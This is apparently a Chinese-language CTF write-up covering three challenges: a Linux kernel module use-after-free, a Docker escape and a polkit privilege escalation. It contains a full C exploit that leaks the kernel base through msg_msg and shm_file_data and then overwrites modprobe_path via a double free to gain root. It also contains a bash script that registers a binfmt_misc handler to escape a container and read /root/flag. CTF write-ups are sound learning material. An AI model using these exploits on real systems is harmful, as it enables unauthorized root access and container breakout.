捅了天枢一晚上屁股也没捅到（

太久没打ctf了，手感冰凉，思路混乱（

正赛？问就是太难了不会做（

Digging into Kernel 3

一个任意size的uaf，不限制uaf的次数，并且没有打开slab_freelist_hardened

既然没有打开slab_freelist_hardened，那么double_free的任意地址写就是可行的，那么就需要我们泄露kernel地址

显然题目中没有给任何泄露手段，那么就需要struct msg来进行泄露

首先制作一个0x20大小的uaf，接着创建一个0x1018大小的struct msg

此时0x20部分的struct msg会被放入uaf中，将其free，分配一个struct shm_file_data

此时在输出struct msg就可以成功泄露kernel地址

特别要注意，由于内核关闭了CONFIG_CHECKPOINT_RESTORE，MSG_COPY无法使用

并且由于SElinux的开启，struct msg的security指针不能被破坏

因此进行uaf的结构体的前8个字节必须要为0，目前似乎仅有struct shm_file_data能满足条件

最后直接double_free写modprobe_path就行

EXP:

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

struct request
{
	int32_t idx;
	int32_t size;
	void *ptr;
};

int dev_fd;

uint64_t kernel_base, modprobe_path;

void err(char *error)
{
	fprintf(stderr,error);
	exit(-1);
}

int make_queue(key_t key,int msgflg) 
{
	int result;
	if ((result=msgget(key,msgflg))==-1) 
	{
		perror("[X] Msgget Failure");
		exit(-1);
	}
	return result;
}

void send_msg(int msqid,void *msgp,size_t msgsz,int msgflg) 
{
	if (msgsnd(msqid,msgp,msgsz,msgflg)==-1)
	{
		perror("[X] Msgsend Failure");
		exit(-1);
	}
	return;
}

ssize_t get_msg(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg) 
{
	ssize_t result;
	result=msgrcv(msqid,msgp,msgsz,msgtyp,msgflg);
	if (result<0)
	{
		perror("[X] Msgrcv Failure");
		exit(-1);
	}
	return result;
}

void remove_queue(int msqid,int cmd,struct msqid_ds *buf)
{
	if ((msgctl(msqid,cmd,buf))==-1) 
	{
		perror("[X] Msgctl Failure");
		exit(-1);
	}
}

int shmid_open()
{
	int shmid;
	if ((shmid=shmget(IPC_PRIVATE,100,0600))==-1)
	{
		puts("[X] Shmget Error");
		exit(0);
	}
	char *shmaddr=shmat(shmid,NULL,0);
	if (shmaddr==(void*)-1)
	{
		puts("[X] Shmat Error");
		exit(0);
	}
	return shmid;
}

void new(int32_t idx, int32_t size, void *ptr)
{
	struct request request_t;
	request_t.idx = idx;
	request_t.size = size;
	request_t.ptr = ptr;
	
	ioctl(dev_fd, 0xDEADBEEF, &request_t);
}

void delete(int32_t idx)
{
	struct request request_t;
	request_t.idx = idx;
	
	ioctl(dev_fd, 0xC0DECAFE, &request_t);
}

void leak_kernel_base()
{
	char *buf = malloc(0x2000);
	uint64_t *recv_msg = malloc(0x2000);
	int qid;
	struct msg *message = (struct msg *)buf;
	int size = 0x1018;
	
	memset(buf, 0x61, 0x2000);
	
	new(0, 0x20, buf);
	delete(0);
	
	memset(buf, 0x61, 0x2000);
	qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
	send_msg(qid, message, size-0x30, 0);
	
	delete(0);
	
	shmid_open();
	
	get_msg(qid, (char *)recv_msg, size, 0, IPC_NOWAIT|MSG_NOERROR);
	
	kernel_base = recv_msg[0x1fb] - 0x19ac6c0;
	
	free(buf);
	free(recv_msg);
}

void arbitrary_write()
{
	uint64_t *buf = malloc(0x100);
	
	memset(buf, 0, 0x100);
	
	new(0, 0x20, buf);
	
	delete(0);
	delete(0);
	
	buf[0x2] = kernel_base + 0x18510a0;
	
	new(0, 0x20, buf);
	
	new(0, 0x20, buf);
	
	memset(buf, 0, 0x100);
	strcpy((char *)buf, "/tmp/a");
	
	new(0, 0x20, buf);
}

int main()
{
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/a");
	system("chmod +x /tmp/a");
	system("chmod +x /tmp/dummy");
	
	dev_fd = open("/dev/rwctf",O_RDWR);
	if (dev_fd < 0)
		err("[X] Device Open Error");
		
	leak_kernel_base();
	
	modprobe_path = kernel_base + 0x18510a0;
	printf("[+] kernel_base = 0x%lx\n", kernel_base);
	printf("[+] modprobe_path = 0x%lx\n", modprobe_path);
	
	arbitrary_write();
	
	system("/tmp/dummy");
	system("/bin/sh");
}

Be-a-Docker-Escaper-2

挂载了/proc/sys/fs/binfmt_misc，那么就可以通过注册新的解释器来逃逸

注册#!/bin/sh的解释器，然后再开启一个ssh链接就可以完成逃逸

参考链接: http://paper.vulsee.com/KCon/2021/Container%20escape%20in%202021.pdf

EXP:

#!/bin/bash

path=$(mount | grep upperdir)
path=${path##*upperdir=}
path=${path%%,*}

echo '#!/bin/bash' > /tmp/test.sh
echo '' >> /tmp/test.sh
echo 'cat /root/flag > '$path'/tmp/flag' >> /tmp/test.sh

chmod a+x /tmp/test.sh

echo ':sh:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::'$path'/tmp/test.sh:' > /binfmt_misc/register

Be-a-PK-LPE-Master

用户名: ubuntu 密码: root

ubuntu用户在sudo组里，sudo -i获取root shell

当然正解是利用pkexec提权，github上有很多直接可以利用

用户名和密码都是猜的，题目描述啥也没说，不是很懂这一题